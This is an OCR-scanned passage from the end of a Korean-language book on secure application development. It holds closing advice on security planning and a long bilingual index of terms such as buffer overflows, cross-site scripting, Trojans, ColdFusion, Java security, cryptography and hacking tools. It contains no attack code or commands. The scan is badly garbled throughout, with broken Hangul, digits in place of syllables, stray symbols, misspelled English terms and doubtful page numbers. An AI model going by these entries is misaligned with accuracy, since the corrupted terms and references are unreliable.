리용하면 개발작업을 쉽게 할뿐만아니라 당신의 응용프로그람을 보안할수 있도록고 
도와 줄것 이 다. 

- 여 기 저 기 에 코드작성 규격 을 리 용하면 단체 안의 모든 개 발자들이 코드가 일 치 하게 * 
하는것은 물론 개발작업의 이식성을 보장하여 준다. 



4. 보안계획의 작성 


- 당신은 망준위，응용프로그람준위，워크스테 이션준위에서 보안을 취급하여 야 하는 
데 자기 단체의 보안계획을 가져 야 한다. 보안은 망 관리자나 개발자만이 아닌 모 
두에게 책임이 있다. 

- 보안은 후에 생각이 나서 대상과제의 중도에서 하는것 이 아니 라 대상과제의 초기 
부터 고려하여야 한다. 처음부터 보안을 구축하면 훨씬 더 쉽고 비용이 적게 든다 



색 인 


공개열쇠 (public keys) 212-215 
공개열쇠암호화 (public key cryptogra phy) 
212-216,236 

공개열쇠암호화제 계 번호 7(Public Key 
Cryptography System number 
7 ： PKCS-7) 27-28,331,332 
교 차 싸 이 트 스 크 립 트 작 성 (cross-site 
scripting : CSS) 170-171 
교차싸이 트스크립 트작성 취 약성 (cross-site 
scripting vulnerabilities) 171 
국제 자료암호화알 고 리 듬 (International 
Data Encryption Algorithm ： IDEA) 330 
규직에 기초한 분석기 (rule-based 
analyzers) 370 
기계코드 (machine codes) 79 
기능시험 (functionality testing), 353 
기동분구비루스 (Bootstrap Sector 
Viruses) 18 

기생비루스 (parasitic viruses) 18 
개선된 침입검출환경 (Advanced Intrusion 
Detection Environment site) 157 
개선된 암호화 (Advanced Encryption 
Standard ： AES) 231 

개발팀의 보안전략 (development team, 
security strategies for) 29-30 
개 인 정 보 교 환 증 서 양 식 (Personal 
Information Exchange certificate 
format) 341 

객제지향프로그람작성，모듈화프로그람작 
성 (object-oriented programming, 
modular programming and) 43-44 
객제안전성설정과 ActiveX 조종제 (object 
safety settings, ActiveX controls 
and) 275 

게 시 판제 계 (bulletin-board system ： BBS) 
11 


능동봉사기 페 지 (Active Server Pages ： 
ASP) 164 


도덕적인 해킹 (ethical hacking) 13 
도 식 XML-Data(schemas, XML-Data) 
248-253,261 

동적 3 드의 실행 (dynamic code 
execution ) 173 

동적인 코드실행검사 (dynamic code ex¬ 
ecution, checking) 173-174 
동우 13 드심사 (peer-to-peer code reviews) 
363-366 

등록고접근조종과 관련한 문제 (Registry 
Access Control, problems with) 88 
대칭열소 I 암호하 •(symmetric key 
encryption) 333 
대화조종 IDs(session Ids) 43-45 
대화조종추적 (Session Tracking, 
ColdFusion) 291,320-322 
두 I 문공격 (back door attacks) 133-134, 
147-148 

ᄅ 

련결비루소 (link viruses) 18 

□ 

□ [크로비早스 (macro viruses) 69 
마크로언어 (macro languages) 19,66 
망갑시모듈 (Network Listener Module ： 
NLM.ColdFusion's) 319 
망련합회사 (Network Associates 
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Incorporated) 329 
망스캐너 (network scanners) 132 
망작업 과 통신 흐름 (netwo『king and 
communication streams) 179 
망접속의 보안시험 (network connec¬ 
tions, checking security of) 179 
망준위 보안설정 (network-level security 
settings) 272 

머리부설명문 (header comments) 368 
모래통 (sandbox, JVM) 187-188,199,267 
모방기와 Java(emulators, Java and) 

189 

문서형태의 정의 (Document Type 
Definitions ： DTDs) 244, 245-247 
문서요소 (document elements) 249-250 
밀봉된 JAR 파일 (sealed JAR files) 231- 
234 

OH 대화당 추적과 ColdFu-sion(per- 
session tracking, Cold-Fusion and) 
320-322 


ᄇ 


보안시험 (security testing) 306 
보안신용모형 (trust model of security) 79 
보안전문가 (security professionals) 14 
보안지역 , ActiveX 조종제 (Security Zones, i # 
ActiveX controls and) 271, 273-274 卜 ： 
보안지역설정 (Security Zone set-tings)^ 
272,273-274 

보안우연클라스 (Secure Random class)« 
219 

봉사기증명서 (server certificates.) 335 
부하균형 기 ,ColdFusion(load balancers, 
ColdFusion) 354 

비공개동의서 (Nondisclosure Agreemen- ‘ 
切 : NDA) 16 

비공개열쇠 (private keys) 213-215 
비루스 (viruses) 17-18,268-269,326 


비 무장지 대 를 가진 Web 봉사기 (demili- _ 


tarized zone-based Web server) 46-: 
47 

비 호 환 시 분 할 제 계 (Incompati-ble ； 
Timesharing System :ITS) 9,12 



방책파일 Java(policy files, Java) 200, 
204-205 

방화벽과 ActiveX 조종제 (firewalls, Ac¬ 
tiveX controls and) 273 
방화벽쏘프트웨어 (fire wall software) 120 
변수선언설명문 (variable declaration 
comments) 370-371 
보복동 71 해 커 (revenge-motivated 
hackers) 13 

보통파일 전 송규약 (Trivial File Transfer 
Protocol ： TFTP) 141 
보안가능한 응용프로그람 (secufity- 

enabled applications) 328-330, 
336-352,356 

보안계획 (security plans) 372-376 
보안 관리 자클라스 (Security Manager 
class) 190-202,206-207 
보안소케트층 (Secure Sockets Layers ： 
SSL) 331-335,357 


사 용 자 정 의 함 수 와 ColdFusion(UserB 
Defined Functions:UDF, ColdFusion*^ 
and) 296, 332 

사용자추적과 ColdFusion(user tracking,. 

ColdFusion and) 322-323 
사회 공학적 공격 (social engineering att-| ■ 
acks)142-145 

사회 보안번 호의 도적 질 (social security^ 
numbers, theft of) 25 
삽입프로그람과 JavaScript 보안 (plug-ins,.. 

JavaScript security and) 73-74 
서고안의 취약성검사 (libraries, ch-ecking ' 
vulnerabilities in) 175-176 
성능시험 (performance testing) 353 
소 게 로 * Python 모 듈 (socket.* Python 1 " 
modules) 179 
속성 (attributes) 

SGML- 파생 언어 (SGML-derived 
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languages) 241 
XML 321-323,361 

손님책과 CGI 스크립트 (guest books, CGI 
scripts and) 101 


天 

자료파일비早스 (data file viruses) 19 
자료암호규격 (Data Encryption Standard ： 
DES) 229-232 

자료의 타당성확인 (data validation) 309 
자제서명증명서 (self-signed certificates) 
223 

잘 형식화된 XML 문서 (welHormed XML 
documents) 225 
잡담방 (chat rooms) 20-21 

~ 에 의한 월의 전파 21-22 제 

CGI 스크립트과〜 98-100 
理 용화 2 유 처리기 (custom error Handlers) 
318 

전화제계의 해킹 (telephone systems, 
hacking of) 10-12,144-145 
접근파이프문제 (access pipe problem) 
302-303 

정보도용 (information piracy) 25-26 
정보로출，응용프로그람에 의해 리용되는 
자료의 심사 (information disclosure, 
reviewing materials made available 
by applications) 173 
정보보안팀에 대한 보안전략 (information 
security team, security strategies 
for) 30 

증명서 검증편의 프로그람 (Certificate 
Verification Utility)chktrust.exe 351 
증명서관리봉사 (certificate management 
services) 334,351 
Microsoft 증명서봉사 339-340 
Netscape 의 ~ 339-340 
증명 서 만들 71 편의 프로그람 (Certificate 
Creation Utility) makecert.exe 351 


증명서발급기관 (Certificate Authority : CA) 
276-277 


목록의 기억 338-339 
신용뿌리 - 338-339 
종속 - 338-339 
증명서취소목록 38-339470 
뿌리〜 338-339 
유럽의 기본 - 276 

증명서수표요구 (Certificate Signing 
Request ： CSR) 224 

증명서취소목록 (Certificate Revocation 
Lists ： CRL) 339 

지령행도구 (command line tools) 162 

大 

첨부물 (Attachments) 62 
제계클라스 (system classes) 190-193 
제계호출 (system calls) 42 
취약성주적 (vulnerability-tracking)129 
취약성추적자료기지 (vulnerability-tracking 
databases)"! 29 


ᄏ 


카비네트파일 (cabinet files) 278-279 
카 2 스콤퓨 E 나구락부 (Chaos Computer 
Club ： CCC) 85 
3 드 (Code) 

예 대한 추적도구 370-372 
~에서 변수선언 설명문 369-370 
~에서 취약성찾기 167-1 70 
~ 의 QA 검사 364-379 
~의 보안시험 31 
-의 재러용 39-40 
코드서고안의 취약성 (code libraries, 
vulnerabilities in) 169-171 
3 드심사 •(code reviews) 370,379 

교차싸이 트스크립 트를 검 사하는 ~ 

171-173 
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구조화된 련습 361 

동적 코드실행을 검사하는 -170-1 73 

동위 ~363-365 

망과 통신흐름을 검사하는 ~， 179-1 80 
비공식적인 ~ 364, 378 
코드에서 함수를 탐색 하는 시 79 
파일체계 접근/호상작용을 검사하는 ~ 

1 74-1 75 

형 식 문자렬 오유를 검 사하는 - 170 
응용프로그람에 의해 현시되는 정보를 
검사하는 〜 173 

외부객체/서고를 검사하는 ~ 176-177 
외 부프로그람에 로의 호출을 검 사하는 

-174-1 75 

완충기 넘 침 위 험 을 검 사하는 ~ 1 68 - 
169 

ᅳ에 대한 지령 행 도구 162 
SQL/ 자료기지질문을 검사하는 - 
1 77-1 78 

3 드심사도구 (code review tools for) 
161-164 

3 드토대인수 (code base arguments), 

202 

코드파괴자 (code grinders) 37 
~ 에 의 한 코드에서의 보안구멍 

74,84,86 

콤파일프로그람 (compiler programs) 150 
콤파일언어 (compiled languages) 150 
콤퓨 Bj 보안연구소 (Computer Security 
Institute) 12 

콤퓨 Bj 사기와 람용에 관한 련방법 (Federal 
Computer Fraud and Abuse Act) 11 
검은모자해커 9 
S/MIME 규격과 一 329 
쿠키중독 (cookie poisoning) 28 
크래커 (crackers) 9 

클라스적재기, Java(class loaders, Java) 
191-193 

Java 클라스적 재 기 구축 191 -1 93 



탁상준위보안 (desktop-level security) 

376 

탐색가능한 색인 (indexes, searchable) 
111-112 

탐색엔진들로부티 령역이름알아보기 
(domain names, learning from 
search engines) 132 

탐색엔진으로부 a 의 목표싸이트정보 

(search engines, target site 
information from) 131-132 
통신흐름의 보안시험 (communicaticm 
streams, checking security of) 178 - 
179 

트로이목마 (Trojan horses) 15,19-22 
트로이목□ᅡ로부 Bj Java 코드를 보호하기 
(protecting Java code from) 

_ 209,234 
특권코드지침 (privileged code guid-elines]s % 
233 


파라 WIBj 변경 (parameter tampering) 27 
파멸부대 (LOD) (Legion of Doom : LOD) 
12 

파게 m 탐지자 (packet sniffers) 228 
파일서 명편의프로그람 (File Signing 
Utility)signcode.exe 279-280 
파일서술자의 검사 (file descriptors, 
checking) 173-174 
파일제계함수와 3 드심사 (file system 
functions, code reviews and) 173- 
174 

파일허가 (FilePemnission) 207 
파일이름과 3 드심사 (filenames, code 
reviews and) 172-173 
파일 이 름 n [라메 E 나 (filename parameters 
and) 177 
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， 식 파일이름 m 라메 E 나들과 Java(filename 
parameters and Java) 174 
'人 v 파일이름 m 라메 E 나들과 SSKfilename 
parameters and SSI) 173 
서 파일이름파라 [HIE 나와 TCUfilename 
parameters and TCL) 164 
판본조종도구 (version control tools) 361- 
_ 3_62 _ 

(느 푸른통과 프레킹 (blue boxes, phreaking 
and) 382 

a 


하쉬알고리듬과 수자서명 (hashing 
algorithms, digital signatures and) 





329-330 

항비早스쏘프트웨어 (anti-virus software) 
70-71 

형식문자렬 2 유 (format string bugs) 171- 
172 

해석프로그람 (interpreter programs) 103 
해석언어 (interpreted languages) 115 
해커공격지도 (attack maps,hacker) 
129,136-138 

사회적공학에 기초한 해커공격형래 
142,145 

코드약점 알아내 기 150-151 
트로이목마 15,19-21,108,208-209 
악질애플레트 22-23 
완충기자리넘침 116 


해커 (hackers, 3-4) 128-129 



검은모자 ~ 9 
보복동기의 ~ 9,10 
사회적공학과 ~ 142-146 
회색모자 - g 
흰모자 ~ 9 

~에 의한 공격의 시간맞추기 174-175 
해커에 의한 Web 싸이트파괴 (defacement 
of by hackers) 135 
해커의 실행계획 (execution plan, 
hacker's) 135-136 

해커의 입구점 (point of entry, hacker's 
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139-140 
해킹 (hacking) 

망취약성에 대한 주사 131-132 
비법~에 비한 도덕적 ~ 9,13-14 
ᅳ과 도적질 24-28 

~을 막기 위 한 일반적 인 전략 8,13,61 
-을 위한 공격지도 129,136-138 
-을 위한 실행계획 183-184 
~의 간단한 력사 6-10 
~의 입구점확립 129-130,139-140 
탐색 엔 진으로부터 정 보찾기 131,136 
해킹도구들 (hacking tools) 135-137 
람지기들 135,229 
역아쎔불러들 152-153 
오유수정 프로그람들 130,152-153 
16 진편집기 130,151-152 
Network Mapper(NMAP) 172,181- 
182 

Rootkit 173 

형판 (templates, XSL) 244-245 
회색모자해커 (gray hat hackers) 8 

uu, ᆻ 

뺴앗기알고리듬 (Blowfish algorithm) 229 
쏘프트워 I 어 발표자증명서 (S of t ware 
Publisher's Certificate ： SPC) 279 

o 

아주 높은 우선권 a 드결합과 QACvery 
high priority code defects, QA and) 
394 

암호화 (Cryptography) 186-187 
속성보기 154-155 
역아쌤불라의 원천 155-156 
역 아쎔 블러 , Java 클라스파일 1 96-1 97 
~기술과 수출법 335 
~통보문문법규약 340 
~알고리듬의 ~방법과 XML 역공학에 
의한 코드심사 161-165 
S/MIME 규격과 ~ 345-342 




암호하 "(encryption) 227-232 
ColdFusion 코드의 ~ 295-296 
XML- 명세서 260-263 
암호화된 자료 XML 요소 ( 타 icryptedData 
XML element) 261 

암호화된 열쇠 XML 요소 ( 타 icryptedKey 
XML element) 261 
암호화알고리듬 (encryption 
algorithms ： AES) 230-231 
비 공개열쇠 기술과 암호화알고리 듬 
230-231 

암호화알고리 듬에 서 접 근조종규약， 

326-327 
CAST 330 
DSA 215-216 
Diffie-Hellman 330-331 
Fortezza 332 
IDEA 340 
MD2 212 
MD5 212-213 
RC2 230 
RC5 230 

RSA 214-215,230,330,332 
SHA-1 225-226 

열쇠쌍 , 암호화 (key pairs, cryptographic) 
216-218 

오유기록파일 ColdFusion(errors log, 
ColdFusion) 316-317 
오유처리 ColdFusion(error handling, 
ColdFusion and) 316-320 
오유처리형판 ColdFusion(error handler 
template, ColdFusion) 318-319 
S 소 (Elements) 243-244 
~ 과 속성 243-244,265 
SGML- 구동 기 언어과 - 239 
우편봉사기와 이동3드공격 (mail servers, 
mobile code attacks and) 33,34 
우편봉사,전자우편에 의한 사회공학적공격 
(postal service mail, social engine 
ering attacks by) 144-145 
이동코드 (mobile code) 22-23 
이동 3 드공격 (mobile code attacks) 64- 


66 

인 BUdl 트열쇠교환보안 (Internet Key 
Exchange security) 338 
인 EUHI 트원바루스 (Internet Worm virus) 
13 

외부객제/서고취약성 (external 

object/library vulnerabilities) 177 
위장하기 (cloaking) 19, 27 
완전허가 (JavaAII Permission. Java.) 206 
온！ ■ 충기넘침 (buffer overflows) 28 
더미넘침 168-169 
탄창넘침 168 
~에 대한 Web 싸이트 168 
원격 조종트로이목□ ᅡ (remote control 
Trojan horses) 20 

원천 3 드파괴도구 (source code Cracking 
tools) 378-379 

원천코드 2 유수정프로그람 (s 아 J『ce code 
debuggers) 369-371 


2 중음다중주파수 (DTMF) 전화걸기 (Dual 
Tone Multifrequency dialing) 11 
2 진파일 (binary files) 150-151 
3 중자료암호규격 (Triple Data Encryption 
Standard ： 3DES) 221,229-233,336 
16 진편집기 (hex editors) 151-152 

ActiveX 조종제와 3 드토대탐색경로 
(CodeBaseSearchPath, ActiveX 
controls and) 272 

ActiveX 조 종 제 서 명 (signing, ActiveX 
controls) 276-277 

ActiveX 조종제에 대한 코드서명증명서 
(code-signing certificates for 
ActiveX controls) 276-286 
'，에서 서명검사 (testing signature on) 
288 

ADODB.Connetion ASP 객제 178-179 
ADODB.Recordset,ASP 객제 , 178-179 
Anna Kournikova ■ 21-22 
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Apache 봉사기와 PKI 351 
ARIN(American Registry of Internet) 

131 

ASP (Active Server Page ) 163-164 
Autodesk 67 

AWT 허용 (AWTPermissi 아 i) 184 
BackOffice 2000(B02K) 85 
씩 개괄 85-87 
검출용도구 85-87 

B02K 봉사자저격수 (B02K Server Sniper) 
85-87 

BubbleBoy 비루스 268 
Butt Trumpet 2000 90 
C# 63 

완충기자리넘침 152,153,168-180 
-에 의 한 외부프로그람의 호출 175 
〜로 작성된 CGI script 152-153, 165 
교차싸이 트스크립 트작성 취 약성 172 
파일 이 름파라메 터 173 
SQL/database 질문언어와 자료기지 
1 78-1 79 

C/C ++ 의 CatopenO 함수 173 
C/C + 斗완충기넘침과 bcopyO 함수 169 
CarlisleAdmasd 와 Stafford Tavares 알고 
리듬 330 

CAST 알고리듬 330 
CD0NTS.* 객제 , ASP 174 
CDuniverse.com 에서의 신용카드도적 23 
Centrius PKI 도구 361 
Cert2SPC.exe 276,287 
Certificate Signing Request (CSR) 223 
CSS ( 교차쌰이트스크립트작성)공격 238 
CFIF,CFML 태그 312 

CFIF 태그로 검사할 자료의 내용 312 
CFIF 태그에 의한 변수검사 309-310 
CFML 404,408-410 

대 화조종자추적 과 ~ 320-322 
질문과 - 300-307 
파운드기호(的와 ~ 300-305 
파일올리적재 보안과 ~306 
~에 의 한 프로그람작성의 우점 290- 
292 


~외의 문장 293 

CFINCLUDE 태그와 형판 297-301 
DoS 공격과 ~ 307 

HTML 과 CFML 의 류사성 291-291 
꺼져야 하는 CFML 의 태 그 307-308 
CFPARAM, CFML 태그 294 

CFPARAM 태그로 검사할 자료의 형 
310-313 

CFPARAM 태 그에 의한 변수에 대 한 
검사 307-313 

CGI 스캐너 (CGI scanners) 105 
CGI 스크립트/프로그람 (Common Gateway 
Interface scripts/ programs) 80-100 
~ 을 리용하는 우점 110 
잡담방 124-125 
손님책 101-102 
ISP 지원 105 

~스크립트작성언어 82 
매매카드와 ~ 100 
~포장기 100-114 

CGI 포장기 (CGI wrappers) 100-105 
CG 卜 BIN 등록 부 (CG 卜 BIN directory) 

~와 CGI 스캐 너 112 
Christiansen.Ward 288 
Cilogic 182 

CipherText XML 요소 258 
Cluster Cats 293 
ColdFusion 163,289-324 
망구축과 통신흐름 179 
자료유효성 범위와 - 308-313 
파일파라메 터와 ~ 175 
호출파이프문제 301-304 
오유처 리 와 ColdFusion 31 6-320 
외부객체/서고취약성 177 
~파일을러적제의 보안 307 
-에서 DOS 공격 307 
~에 의한 공개통합 285 
ᅳ에 의 한 외부프로그람호출 164 
2중 SQL 문제 305-306 
CFDOCS 등록부와 295-296,315 
CFIDE 등록부와 - 297-299 
CFINCLUDE 태그보안위험 298-301 
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CFML 과 - 289,291-292 
ColdFusion 관리자 (ColdFusion 
Administrator) 295 
ColdF 니 sionS 유기록파일 (logs, 

ColdFusion error) 315-319 
ColdFusion 봉사기 (ColdFusion Server) 

289 

Collaborative Data Objects(CD 이와 
ASP 179 
CommView 228 
Comprehensive Perl Archive 
Network(CPAN) 54 
COM 객제와 ColdFusion 410 
CPAN 43 
Cryptix 229-233 
DB::* 모듈 ， Prel 246 
■ 모듈 , Perl 246 
Dbm_open() function,C/C++ 173 
DDoS 8,14-15 

DoS 14-15 207,307 
Unicode 개 발 138 

Web 응용프로그람의 파라메터 변경 하 
기 27 

man-in-the - middle 335 
DEC PDP 마이크로콤퓨티 (DEC PDP 
microcomputers) 10 
DefCon 협약 (DefCon convention) 189 
DER 암호화된 2 진 X.509 규격 (DER 
Encoded Binary X.509 standard) 

339 

DigestValue 알고리듬 (Digest Value 
algorithm) 262 

DigestMethod 알고리듬 (DigestMethod 
algorithm) 262 

DMZ Web 봉사기 (DMZWeb server) 46- 
47 

DoS 공격과 Java(DoS attacks and) 205- 
206 

DoS 로 부 3 Java 의 보호 (protecting 
Java from) 205-206 
DOS 에 기초한 역아쎔블러 (DOS-based 
disassemblers) 205-206 


DSA ( 수자서명알고리듬 ， Digital Signature ' 
Algorithm) 214-215 
Dsniff 도구 (dsniff tool) 47 
echo 호출 (echo calls) 172 
Egghead.com 으로부 3 신용카드도적 
(Egghead, com, credit card theft ， 
from) 24-25 

Enterprise Java Beans 과 ColdFusion 
294 

exec 天 I 령 (exec command. Python) 177 : 
exec 지령 (exec command,TCL) 168 
exec* C/C++ 함수 (exec* C/C++ 
functions) 175 

execfile 지령 , python(execfile command. \ 
Python) 176 
Exec 기록파일 315 
executeO 메쏘드 Java 178 
File::*Pe 『 l 모듈 237 
FindSystemClassO 메쏘드 , Java 192 
Find 지령 , DOS 180 
Fortezza 알고리듬 331 
fsockcipen 함수 , PHP 179 
FTP 접속 130 
Fusebox.org 315 
Get_meta_tags() 함수 174 
getcO 함수와 C/C ++ 완충기자리넘침 169 
getcharO 함수와 C/C ++ 완충기자리넘침 
(getchar()functk)n,C/C++ buffer: 

overflow) 169 
GetlnstanceO 메쏘드 208 
GetlnterfaceSafetyOptions Oil ^ E , 
ActiveX,390 

getPriceO 메쏘드 , Java 279 
Gk)b() 함수 , C/C++ 174 
GlobalSign 276 
GNU GCC 콤파일근ᅥ수정 182 
GNU grep 183 

Google 로부 3 목적싸이트정보 (Google, 
target site information from) 131 
grep 지령행도구 (grep command line tooDfc 
180 

gzfileO 함수 (gzfileO function, PHP) 174 * 
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f .， 빼 gzopenO 함수 , PHP(gzopen() function) 

, "J* 174 

Hotmail 73 

HTML 유효성판정기 (HTML validators) 

369 

HTTP 환경변수 (HTTP environment 
variables) 42 

HTTP 봉사 (HTTP Service) 132 
ICVerify 25 

^ InterNIC 자료기지 131 

IO::*Peii 모듈 (10::* Perl modules) 174 
J IPC ：： Open2Perl 모 듈 (IPC ：： Open2Perl) 
module) 175 
IPC::Open3Pe 「 l 모듈 176 
iPlanet ， Sun/Nectscape 의 Netscape 증명 
서관리봉사기를 보라 340 
^ ISPs 에 의한 CGI 지원 138,166 
《.必 ITS4 도구 180 
m J/CA 도구 351 
\X y JAAS 186 
섭 、 i Ja ，ᅵ 1 등록부 36 
\ Jargon 파일 36 
B Java 인증과 권한봉사 (Java 

Authentication and Authorization 
Services : JAAS) 185 

K Java 클라스파일역아쎔블리어 (Java Class 
File Disassember) 196 
취 Java.net.* packages 180 
Java.rmi.* packages 180 
Java.sql 모듈 179 
器 S Javakey.exe 221 
ᄂ . JCE(Java 암호확장 ) 187 
JDBC 대면 179 

H Jscript 오 F JavaScripts(JavaScriptvs) 124 
JSSEUava 보안소케트확장 , Java Secure 
Socket Extensions) 231 
몌 j JVM(Java virtual machine) 231-233 

바이 트코드 검증 (byte-code 
verification) 185-187 
클라스적재기와 ~ (class loaders and) 
191 

kak 비早스 374-375 
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-keyclone 변수 ， keytool 220 
keyPairGenerator 클라스 Java 215 
-keypasswd 변수 , keytool 221 
-keypass 변수 ， jarsigner 224 
keystore.Java 221-224 
-keystore 변수 ， jarsigner 224 
keytool.exe 에 의한 증명서열쇠관리 220- 
224 

-list 변수 , keytool 221 
LOD 12 

Makecert.exe 287 
Man-in-the-middle 공격 334 
MapPath ASP 함수 173 
Masters of Deception(MOD) 12 
McAfee anti-virus software 92 
MD2 알고리듬 212 
MD5 알고리듬 212 

Microsoft Data Access Component ： 
MDAC 137. 

Microsoft Index 봉사기 138 
Microsoft VSS 518-519,530-531 
Microsoft Windows 와 ActiveX 조종제 
105 

Microsoft 증명서봉사를 리용한 증명서관리 
(certificate management with) 340- 
344 

Mitmck,Kevin 175 
MkdirO 함수 , PHP 174 
Mkdir 합수 ， Perl 174 
MOD ( 사기협잡전문가 , Masters of 
Deception) 12 

module Pytlwi 머리부 (prefix) 175 
module::Perl 머리부 (prefix) 174 
m 에 itcir.cfm 형판 , ColdFusi 아 i 318-320 
MunchkinLAN 도구 324 
MysqLpcc)nnect() 함수 , PHP 179 
Mysql_c!uery() 함수 , PHP 179 
Native 메쏘드호출 238 
Nessus 133 
NetBus 20 

Netcat 편의프로그람 140 
Netscape Navigator 186,273,277,331 




Netscape 통신운 d(Netscape Messenger) 
72 

Netscape 전자우편 (Netscape Mail) 329 
Netscape 객체에 대한 증명서 (Netscape 
Object, certificates for) 276 
Network Mapper：NMAP 130-131 
N MAP (Net work Mapper) 130-131 
Norton 편의프로그람 71 
Notepad 와 QAZ 트로이목마 20 
NSFNet 11 
Nslookup 137 
NT rootkit 140-141 
NT rootkit 140-141 
Numega 219 

Numega 심사도구 (Numega review tools) 
161,181 

-noverify 변수 , Java 195 
OnTheFly 21 
opendirO 함수 , C/C++ 173 
opendirO 함수 , PHP 175 
opendir 함수 , perl 175 
OpenPGP 331 

(DraJog 매 () 함수 , PHKciraJogcinO 
function, PHP) 179 
아 a_C)pe n () 함수 , PH P ( 아 a_cipe n () 
function, PHP) 179 
(Dra_parse() 함수 , PHP ( 아 "a—parseO 
function, PHP) 179 
ora_plogon()&^,PHP(ora_plogon() 
function, PHP) 179 
OS 모듈함수， Python(OS module 
functions, Python) 175,177 
PacketStorm 싸 01 트 138 
paramO 함수 51 
passthruO 함수 , PHP 176 
payload, 비早스 18 
Pcode 289 

Perl 에 의한 동적코드실행 171 
Perl 에 의한 외부프로그람호출 (calls to 
external programs by Perl) 175 
Per ᅵ로 작성된 CGI 스크립트 (CGI scripts 
written in Perl) 150,152,165 


pfsoctopen 함수 , PHP (pfsockopen 
function, PHE) 180 
pg_ccinnect() 함수 , PHP (pg_connect() 
function, PHP) 180 

pg_exec() 함수 , PHP (pg_exec() function “ 
PHP) 179 

pg_Pconnect() 함수 , PHP (pg_pconnect() 
function, PHP) 179 
PGP freeware 328 
Phaos Technology 352 
Phreaking 32 
Piggybacking 기능 74 
PKCS-12 340 
PKCS-7 331-332 
PK 卜 Plus 프로그람 337,353 
구비로 Web 응용프로그람들 보안하는 우점 
(PKI, benefits of securing with) 
340-341 

PK! (Private Key Infrastructure) 290 
PKI 와 쿠키 338 
PKI 를 리 용하는 우점 340-341 
PKI 의 개괄 340-341 
PKI 에 대 한 증명서관리봉사 341- | 

350 

POPen() 함수 , PHP 176 
Posix 모듈함수 , Python 173,177 
Pretty Good Privacy(PGP) 329-331,351 f : 
PrintfO 함수 , C/C++ 170-171 
Printf 호출 ， Perl 170 
Printf 호출 , PHP 170 
Print 호출 ， Perl 172 
Print 호출 , PHP 172 
Puts 호출과 TCL 165 
Python 콤파일지령 177 
Python 173,175-177 
QA 팀 365-367 

~ 에 의한 코드검토 365-367 
~와 림 계/긴급우선권코드결함 366 
~와 우선권이 높은 코드의 결함 

366 

Rain Forest Puppy 314 
RC2 알고리듬 230 
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RC2 알고리듬 230 

RDS Data Factory 의 원격해킹 139 
RDS(Remote Development 

Service),ColdFusion 289,299,315 
Rdseservice log,ColdFusion 315 
Read () 함수와 C/C ++ 완충기자리넘침 
(readOfunction,C/C++ buffer 
overflow and.) 170 
ReadfileO 함수 , PHP 169 
ReadgzfileO 함수 , PHP 170 
ReadlinkO 함수 , C/C++ 168 
ReadlinkO 함수 , Perl 174 
Reference XML 요소 257 
R 티 1 indNoCaseO 함수 , ColdFusic>n 
(REFindNoCaseO function, 
ColdFusion) 313 

REFindO 함수 , ColdFusion (REFindO 
function, ColdFusion) 305 
Remote Data Service (RDS) 

DataFactory 139 

remote 기록파일 , ColdFusion (remote log, 
ColdFusion) 317 

renameO 함수 , C/C++ (renameO function, 
C/C++) 174 

renameOit 수 (rename function. Perl) 

174 

renameO 함수 (renameO function, PHP) 

175 _ 

REReplaceO 함수 (REReplaceO function, 
ColdFusion) 305 

ResolveClass (■쏘드 (ResolveClassO 
method, Java) 193 
Response.BinaryWme ASP 호출 
(Response.BinaryWme ASP calls) 

172 

Response.Write ASP 호출 (Response. 

Write ASP calls) 172 
Rivest Shamir Adieman 330 
rmdir() 함수 , C/C++ (rmdirO function, 
C/C++) 174 

rmdir 함수 , Perl (rmdir function, Perl) 174 
RMKRemote Method Invocation) 181 


RMI Security Manager,Java 207 
Root Cas 338 _ 39 
Rootkits 131 

RSA (Rivest Shamir Adieman ) 알고리듬 
330,332 
RSA Keon 330 

RSA(Rivest Shamir Adieman) 215 
Runtime Permission.Java 207 
-selfcert argument, keytool 222 
-signedjar 변수 , jarsigner 225 
-storepasswd 변수 , keytool 222 
-storepass 변수 , jarsigner 225 
S/MIME 도구 352 

*scanf 함수와 C/C ++ 완충기 자리넘 침 
(*scanf functions, C/C++ buffer 
overflow and) 169-171 
ScanMail 315 

Scriptlet.Typelib ActiveX 조종제 268-269 
Secure Multipurpse Internet Mail 
Extension ： S/MIME 331 
Secureroot Web ■트 271 
Secure 附 ot_01E 271 
SecurityManager 클라스 , Java 202-206 
Secure Sockets Layer(SSL) 230 
Server Side Include(SSI) 175 
Server Side lncludes：SSI 156,164 
Server.Create ObjectO 함수 ， ASP 173 
SetlnterfaceSafetyOpti()ns 머 I 쏘드 , 
ActiveX 280 

SGMKStandard Generalized Markup 
Language) 240 
SHA-1 알고리듬 210,330 
Shell Perl 모듈 176 

She ■서 CGI 스크립트을 작성하기 137- 
138 

Shockwave player 271 

Signcode.exe 279 

sign() 메쏘드 ， Java 217 

Signature XML 요소 261 

Signature 메쏘드 XML 요소 261 

signature 클라스 ， Java 215 

Simple Object Access Protocol (SOAP) 
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243 

SMTP 봉사해킹의 취약성 130 
snprintf() 함수, C/C++ 169 
~와 완충기자리넘침 170 
format string bugs 172 
SocketPermission.Java 203 
SourceForge 110 
Sousa, Randy 11 
Spynet Snifter 228 
SQL/ 자료기지질문 (SQL/database 
queries) 162-163 
SscanfO 함수와 C/C++ 완충기넘침 
(sscanfO function, C/C++ buffer 
overflow and) 169 
SSLava Toolkit 352 

SSL 과 봉사기인증 (server authentication, 
SSL and) 333 

SSL 과 의로 I 기인증 (client authentication, 
SSL and) 333 
StarTeam 379,380 
StatO 함수, C/C++ 173 
Stat() 함수, Perl 174 
Str* 함수와 C/C++ 완충기자리 넘침 168- 
170 

StrncpyOg 수, C/C++ 116 
subseven 트로안 20 

Sybase SQL 에서 2 중 SQL 보안구멍 305 
SymlinkO 함수, C/C++ 173 
SymlinkO 함수, PHP 1,73 
Symlink 함수, Perl 173 
sysopen 함수, Perl 173 
System Wizard Launch Contml 고卜 관련 
한 문제 83 

systemO 함수, PHP 176 
syswrite 호출, Perl 172 
-verbose 변수, jarsigner 221 
-verifyremote 변수, Java 194 
-verify 변수， java 194 
TCL (Tool Command Language) 165 
TO 加 의한 동적코드실행 (dynamic code 
execution by TCL) 177 
TCL 에 의한 외부프로그람의 호출 (calls to 


external programs by TCL) 177 
Thawte 276-277,282 
TOPS-10 12 

TouchtOTea 호！ •걸기 (TouchtcDne dialing) 

10 

Tripwire 158 

truncateO 함수， C/C++ 174 
truncate 함수, Perl 174 
TrusiWise 277 

Trusted Site 지역,보안지역 274 
TrustWise 278 
UltraEdit 도구 91-92 
unlink 함수, perl 174 
UnlinkO 함수, C/C++ 174 
UnlinkO 함수, PHP 174 
Update (■쏘드, Java 218 
Urllib* Python 모듈 180 
user-home 속성, Java 189 
